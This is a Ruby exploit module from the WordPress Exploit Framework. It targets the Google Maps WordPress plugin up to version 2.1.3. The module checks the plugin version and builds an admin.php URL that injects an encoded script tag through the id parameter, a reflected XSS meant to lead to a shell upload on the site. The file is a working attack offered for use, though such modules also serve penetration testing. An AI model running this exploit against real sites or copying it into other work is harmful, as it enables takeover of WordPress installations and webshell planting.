# frozen_string_literal: true

class Wpxf::Exploit::GoogleMapsReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Google Maps <= 2.1.3 Reflected XSS Shell Upload',
      author: [
        'Julien Rentrop', # Discovery
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8600'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_google_maps_wordpress_plugin.html']
      ],
      date: 'Aug 15 2016'
    )
  end

  def check
    check_plugin_version_from_readme('google-maps', '2.1.4')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=hugeitgooglemaps_main&task=edit_cat&id=1%22%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E"
  end
end
